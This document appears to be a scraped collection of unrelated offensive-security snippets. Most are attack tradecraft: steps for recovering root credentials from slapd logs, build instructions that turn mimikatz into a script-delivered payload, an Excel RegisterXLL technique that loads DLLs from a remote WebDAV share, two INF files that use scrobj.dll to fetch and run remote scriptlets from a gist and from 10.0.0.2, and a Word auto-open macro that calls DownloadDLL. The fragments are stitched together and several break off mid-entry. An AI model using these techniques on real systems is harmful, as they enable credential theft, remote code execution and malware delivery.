gattacker

Cron entry

0 0 * * 0 docker compose -f /opt/docker/nginx/docker-compose-le.yaml up && docker exec nginx-service nginx -s reload

gattacker

1. Find slapd

>> locate slapd

2. Find user activity in slapd.log

>> grep -i username101 slapd.log 

3. Get the Root Credentials

gattacker

It is basically a wrap of the following projects:
 - mimikatz (https://github.com/gentilkiwi/mimikatz)
 - mimikatz in .NET by Casey Smith (https://gist.github.com/caseysmithrc/87f6572547f633f13a8482a0c91fb7b7)
            Updated from 2.0.0 to 2.1.1 (https://gist.github.com/pljoel/410eeebcaf118b9ac8b8f2b40fd5e863)
 - DotNetToJScript (https://github.com/tyranid/DotNetToJScript)
 
 INSTRUCTIONS:
 1. Grab the latest release of mimikatz: https://github.com/gentilkiwi/mimikatz/releases 
 2. a) Uncomment the building lines from Casey's project in Delivery.Program.Main() (You may want to comment the Exec() line though)
    b) It is going to produce a file.b64, so copy it's content and replace Delivery.Package.file string by it

gattacker

 1. Download the latest release of mimikatz: https://github.com/gentilkiwi/mimikatz/releases 
 
 2. Get Mimikatz PE Loader from https://gist.github.com/pljoel/42dae5e56a86a43612bea6961cb59d1a
 
 3. use @pljoel katz.cs cs file and uncomment the building lines available on Delivery.Program.Main() & comment Exec() line of code.
 
 4. Build it to generate file.b64, copy its content and replace Package.file string available on payload.txt file.
 
 6. Make sure payloadPath var is properly set on "TestAssemblyLoader.cs"
 

gattacker

https://seclists.org/fulldisclosure/2019/Aug/1
https://medium.com/tenable-techblog/comodo-from-sandbox-to-system-cve-2019-3969-b6a34cc85e67
https://blog.silentsignal.eu/2019/06/24/self-defenseless-exploring-kasperskys-local-attack-surface/
https://safebreach.com/Post/BitDefender-Antivirus-Free-2020-Privilege-Escalation-to-SYSTEM
https://safebreach.com/Post/Trend-Micro-Password-Manager-Privilege-Escalation-to-SYSTEM
https://safebreach.com/Post/Check-Point-Endpoint-Security-Initial-Client-for-Windows-Privilege-Escalation-to-SYSTEM
http://rce4fun.blogspot.com/2019/08/comodo-antivirus-sandbox-race-condition.html
https://medium.com/bugbountywriteup/5-000-usd-xss-issue-at-avast-desktop-antivirus-for-windows-yes-desktop-1e99375f0968
https://posts.specterops.io/cve-2019-12757-local-privilege-escalation-in-symantec-endpoint-protection-1f7fd5c859c6
https://nafiez.github.io/security/poc/2019/11/22/POC-conference-present.html

gattacker

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc

gattacker

[version]
signature="$CHICAGO$"
AdvancedINF=2.0

[DefaultInstall.Windows7]
UnRegisterOCXs=FunRun

[FunRun]
%11%\scrobj.dll,NI,https://gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct

gattacker

Sub AutoOpen()
    Debugging
End Sub

Sub Document_Open()
    Debugging
End Sub

Public Function Debugging() As Variant
    DownloadDLL

gattacker

filter Expand-DefenderAVSignatureDB {
<#
.SYNOPSIS

Decompresses a Windows Defender AV signature database (.VDM file).

.DESCRIPTION

Expand-DefenderAVSignatureDB extracts a Windows Defender AV signature database (.VDM file). This function was developed by reversing mpengine.dll and with the help of Tavis Ormandy and his LoadLibrary project (https://github.com/taviso/loadlibrary). Note: Currently, "scrambled" databases are not supported although, I have yet to encounter a scrambled database. Thus far, all databases I've encountered are zlib-compressed.

gattacker

[version]
Signature=$chicago$
AdvancedINF=2.5
 
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
 
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://10.0.0.2/tmp/powersct.sct